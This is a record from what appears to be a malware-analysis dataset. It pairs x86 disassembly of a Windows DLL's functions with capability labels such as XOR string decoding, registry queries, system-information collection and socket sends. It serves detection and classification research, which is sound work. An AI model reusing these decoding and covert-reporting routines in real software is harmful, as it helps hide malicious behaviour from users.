joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002730
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001bb56
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x10024490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x100201b8]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x100201b4]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10002954
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x100027b0
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10002865
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100027f3
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.100070b0
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10002820
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.10006850
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002884
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x10002865
mov ecx, dword [ebp - 0x63c]
push ecx
call fcn.10009236
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x10002865
cmp word [ebx], di
je 0x10002954
mov esi, dword [ebp - 0x660]
jmp 0x100027b0
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100028a6
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.100070b0
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100028d0
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.100066c0
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x10002910
mov ecx, dword [ebp - 0x658]
push ecx
call fcn.10009236
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x10002924
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call fcn.1000a94c
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x10002950
mov eax, dword [ebp - 0x63c]
push eax
call fcn.10009236
add esp, 4
mov al, 1
jmp 0x10002956
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10009241
mov esp, ebp
pop ebp
ret
Function at 0x10002a80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov eax, dword [0x10024490]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x1f4
lea eax, [ebp - 0x1f8]
push 0
push eax
mov esi, ecx
call fcn.10011db0
add esp, 0xc
lea ecx, [ebp - 0x1fc]
push ecx
push 0x20019
xor ebx, ebx
push ebx
push esi
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10002b25
mov ecx, dword [ebp - 0x1fc]
lea edx, [ebp - 0x200]
push edx
lea eax, [ebp - 0x1f8]
push eax
push ebx
push ebx
push edi
push ecx
call esi
test eax, eax
jne 0x10002b25
push 0x1f4
push eax
lea edx, [ebp - 0x1f8]
push edx
call fcn.10011db0
mov eax, dword [ebp - 0x1fc]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
lea eax, [ebx + 1]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009241
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1fc]
lea ecx, [ebp - 0x200]
push ecx
lea edx, [ebp - 0x1f8]
push edx
push 0
push 0
push edi
push eax
call esi
test eax, eax
jne 0x10002b7c
push 0x1f4
push eax
lea ecx, [ebp - 0x1f8]
push ecx
call fcn.10011db0
mov edx, dword [ebp - 0x1fc]
add esp, 0xc
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009241
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.10009241
mov esp, ebp
pop ebp
ret

Function at 0x10002b90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10024490]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10c]
push ecx
push 1
push 0
push eax
push closesocket
mov dword [ebp - 0x110], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
lea eax, [ebp - 0x108]
jne 0x10002c03
lea edx, [ebp - 0x110]
push edx
mov edx, dword [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009241
mov esp, ebp
pop ebp
ret
Function at 0x10003bf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x10024490]
xor eax, esp
mov dword [esp + 0x8c], eax
cmp dword [esi + 0x18], 0
mov eax, dword [ebp + 8]
push ebx
push edi
mov dword [esp + 0xc], eax
je 0x10003d66
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
lea edx, [esp + 0x40]
mov edi, eax
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esi + 0x18]
mov ebx, eax
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esi + 0x14]
push 0xcc0020
push 0
push 0
push ebx
push edx
mov dword [esp + 0x24], eax
mov eax, dword [esi + 0x10]
push eax
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [esi + 0x20], 1
jne 0x10003d56
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
mov edx, dword [esi + 0x120]
push edx
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea ebx, [esi + 0x21]
mov eax, ebx
lea ecx, [eax + 1]
jmp 0x10003ce0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003ce0
sub eax, ecx
push eax
mov eax, dword [esi + 0x14]
push ebx
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, 0x3e
xor eax, eax
mov dl, byte [eax + str.P03__1fuxyk]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x14], dl
inc eax
and ecx, 0xff
cmp eax, 0x29
jb 0x10003d02
lea eax, [esp + 0x14]
push eax
push ebx
mov byte [esp + 0x45], 0
call fcn.1000934c
mov eax, ebx
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003d33
mov ecx, dword [esi + 0x14]
sub eax, edx
mov edx, dword [esi + 0x10]
push eax
push ebx
sub ecx, 0xf
push ecx
sub edx, 0xdc
push edx
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop ebx
xor ecx, esp
call fcn.10009241
mov esp, ebp
pop ebp
ret 4
Function at 0x10003dc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x10024490]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [0x10126b8c]
push esi
push edi
push eax
push 0xff
push 0x10025b01
mov esi, ecx
mov byte [0x10025b00], 1
call fcn.1000a656
mov eax, dword [ebp + 0xc]
add esp, 0xc
mov dword [0x10025c00], eax
test esi, esi
jne 0x10003e60
mov ecx, 0x4c
xor eax, eax
jmp 0x10003e10
mov dl, byte [eax + 0x100203d4]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x20], dl
inc eax
and ecx, 0xff
cmp eax, 0x1a
jb 0x10003e10
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
push ebx
mov byte [ebp - 6], 0
call dword [sym.imp.USER32.dll_LoadImageA]
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], cx
mov byte [ebp - 6], cl
jmp 0x10003f14
cmp esi, 1
jne 0x10003ea2
mov edi, 0x100203f0
sub edi, 0x2e62e9b2
lea esi, [ebp - 0x74]
call fcn.100083d0
push 0x10
push 0
push 0
push 0
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
xor ecx, ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], ecx
mov word [ebp - 0x5c], cx
jmp 0x10003f14
mov edi, 0x8bd80ef4
cmp esi, 2
jne 0x10003ee1
lea esi, [ebp - 0x3c]
call fcn.10008400
push 0x10
push 0
push 0
push 0
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov word [ebp - 0x24], cx
mov byte [ebp - 0x22], cl
jmp 0x10003f14
lea esi, [ebp - 0x58]
call fcn.10008400
push 0x10
push 0
push 0
push 0
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
xor ecx, ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], ecx
mov word [ebp - 0x40], cx
mov byte [ebp - 0x3e], cl
mov esi, eax
call fcn.100040c0
mov eax, dword [0x10025ae4]
mov dword [0x10025aec], 0x808080
test eax, eax
je 0x10003f6c
cmp dword [0x10126bb4], 0
je 0x10003f6c
push 0xffffffffffffffec
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov ecx, dword [0x10025ae4]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push ecx
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov edx, dword [0x10025aec]
mov eax, dword [0x10025ae4]
push 1
push 0
push edx
push eax
call dword [0x10126bb4]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10009241
mov esp, ebp
pop ebp
ret 8
Function at 0x100041d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
push 1
push 2
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
call fcn.10001980
mov eax, dword [0x10025894]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
xor ebx, ebx
add esp, 0x10
cmp eax, ebx
je 0x1000421f
push ebx
push ebx
push 0x10
push eax
call esi
mov ecx, dword [0x10126b8c]
mov edx, dword [str.SPLASH]
push ecx
push edx
mov dword [0x10025894], ebx
call edi
mov eax, dword [0x100259bc]
cmp eax, ebx
je 0x10004244
push ebx
push ebx
push 0x10
push eax
call esi
mov eax, dword [0x10126b8c]
mov ecx, dword [str.SPLASH]
push eax
push ecx
mov dword [0x100259bc], ebx
call edi
mov eax, dword [0x10025ae4]
cmp eax, ebx
je 0x10004269
push ebx
push ebx
push 0x10
push eax
call esi
mov edx, dword [0x10126b8c]
mov eax, dword [str.SPLASH]
push edx
push eax
mov dword [0x10025ae4], ebx
call edi
mov ecx, dword [ebp + 8]
push 0x2b39c0
push ecx
mov ecx, 2
call fcn.10003dc0
push ebx
push ebx
push 0x10025ae0
push 0x10004140
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [0x10025ae8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x10025ae8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x10025ae4]
cmp eax, ebx
je 0x100042dc
push ebx
push ebx
push 0x10
push eax
call esi
mov ecx, dword [0x10126b8c]
mov edx, dword [str.SPLASH]
push ecx
push edx
mov dword [0x10025ae4], ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x10003b30
jmp dword [pe_dos_header]
Function at 0x10004370
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10024490]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10025c0c], 0xffffffff
push ebx
je 0x10004431
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
xor ebx, ebx
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x100043d5
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x100043d5
movsx edx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push edx
push ecx
lea edx, [ebp - 0x10]
push edx
call fcn.1000aea0
add esp, 0xc
mov ecx, dword [0x10025c0c]
push 0x10
lea eax, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10004442
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10004442
mov eax, dword [0x10025c0c]
cmp eax, 0xffffffff
je 0x10004415
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x10025c0c], 0xffffffff
mov eax, dword [0x10025c10]
cmp eax, ebx
je 0x1000442b
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [0x10025c10], ebx
mov byte [0x10125c40], bl
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009241
mov esp, ebp
pop ebp
ret
mov edx, dword [0x10025c10]
mov eax, dword [0x10025c0c]
push 0x23
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x100043fa
push 0x80000
push ebx
push 0x10025c14
call fcn.10011db0
push 0x80000
push ebx
push 0x100a5c18
mov dword [0x100a5c14], ebx
call fcn.10011db0
mov ecx, dword [ebp - 4]
add esp, 0x18
mov al, 1
mov dword [0x10125c18], ebx
xor ecx, ebp
mov byte [0x10125c40], al
pop ebx
call fcn.10009241
mov esp, ebp
pop ebp
ret
Function at 0x100044f0
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x80004
call fcn.10018c90
mov eax, dword [0x10024490]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x10125c24
mov esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x10025c0c]
cmp ebx, 0xffffffff
je 0x10004602
cmp byte [0x10125c40], 0
je 0x10004602
push 0x80000
lea eax, [ebp - 0x80004]
push 0
push eax
call fcn.10011db0
push esi
lea ecx, [ebp - 0x80004]
push edi
push ecx
call fcn.1000aea0
add esp, 0x18
xor eax, eax
cmp byte [ebp - 0x80004], 0xc1
jne 0x1000458b
mov cl, byte [ebp - 0x80002]
lea edi, [esi - 3]
test edi, edi
jle 0x100045b8
mov dl, byte [ebp + eax - 0x80001]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80001], dl
inc eax
cmp eax, edi
jl 0x10004571
jmp 0x100045b8
mov cl, byte [ebp - 0x80001]
lea edi, [esi - 4]
test edi, edi
jle 0x100045b8
jmp 0x100045a0
mov dl, byte [ebp + eax - 0x80000]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80000], dl
inc eax
cmp eax, edi
jl 0x100045a0
mov eax, dword [0x10125c18]
test eax, eax
jle 0x1000465b
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x10004620
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [0x10025c10]
mov dword [0x10025c0c], 0xffffffff
test eax, eax
je 0x100045fb
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [0x10025c10], 0
mov byte [0x10125c40], 0
push 0x10125c24
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009241
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x80004]
push esi
push edx
lea eax, [eax + 0x100a5c18]
push eax
call fcn.1000aea0
add esp, 0xc
add dword [0x10125c18], esi
push 0x10125c24
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009241
mov esp, ebp
pop ebp
ret
xor edi, edi
test esi, esi
jle 0x1000463d
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov edx, dword [0x10025c0c]
push 0
push esi
lea ecx, [ebp + edi - 0x80004]
push ecx
push edx
call ebx
cmp eax, 0xffffffff
je 0x1000468a
sub esi, eax
add edi, eax
test esi, esi
jg 0x10004667
jmp 0x1000463d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100046a7
mov eax, dword [0x10125c18]
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x100046cf
mov esi, 0x10025c08
call fcn.100044b0
push 0x10125c24
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.10009241
mov esp, ebp
pop ebp
ret
lea edx, [ebp + edi - 0x80004]
jmp 0x10004626
Function at 0x10004ca0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x10024490]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10011db0
add esp, 0xc
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.PREMIUM
push str._CheckSystemInformation__ClientVersion:__s__SystemVersion:__d._d._d__MemoryUsage:__d__dmb
call fcn.10001980
mov ecx, dword [ebp - 4]
add esp, 0x1c
xor ecx, ebp
pop esi
call fcn.10009241
mov esp, ebp
pop ebp
ret
Function at 0x10006ab0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001bae8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10024490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x10006c41
cmp byte [ebx + 0x49], 0
je 0x10006c41
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x10006c35
lea esi, [ebp - 0x2c]
call fcn.10006570
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x10006b23
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x10006b5c
dec eax
je 0x10006b60
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x10006c3c
call fcn.100052c0
xor al, al
jmp 0x10006c43
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x10006b70
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x10006b9d
cmp edi, 0x10
jae 0x10006b7f
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.1000a881
add esp, 0x10
cmp esi, eax
jne 0x10006c2d
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x10006c39
test esi, esi
jne 0x10006b17
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x10006c5e
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x10006c5e
cmp edi, esi
jae 0x10006c16
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.100077b0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x10006b17
mov ecx, eax
cmp edi, 0x10
jae 0x10006bf2
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x10006c0d
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x10006b11
test esi, esi
jne 0x10006be8
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x10006c25
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x10006b11
lea ecx, [ebp - 0x2c]
call fcn.100052c0
xor al, al
jmp 0x10006c43
lea ecx, [ebp - 0x2c]
call fcn.100052c0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10009241
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.10008cac
int3
Function at 0x10006fc0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b9bb
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x10024490]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10008e00
push 4
mov dword [ebp - 4], 0
call fcn.1000aae1
mov edi, eax
add esp, 4
test edi, edi
je 0x1000703c
call fcn.10008bfb
mov dword [edi], eax
call fcn.100089ba
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.10008dc1
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10007032
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.10008de9
jmp 0x1000703e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x100083d0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x82
xor ecx, ecx
jmp 0x100083e0
mov al, byte [edi + ecx + 0x2e62e9b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x19
jb 0x100083e0
mov byte [esi + 0x19], 0
mov eax, esi
ret

Function at 0x10008400
Capabilities:
Encode data using xor

Disassembly:
mov edx, 9
xor ecx, ecx
jmp 0x10008410
mov al, byte [edi + ecx - 0x7bd60ae8]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1a
jb 0x10008410
mov byte [esi + 0x1a], 0
mov eax, esi
ret

Function at 0x10009241
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10024490]
jne 0x1000924b
repz ret
jmp fcn.1000dc3b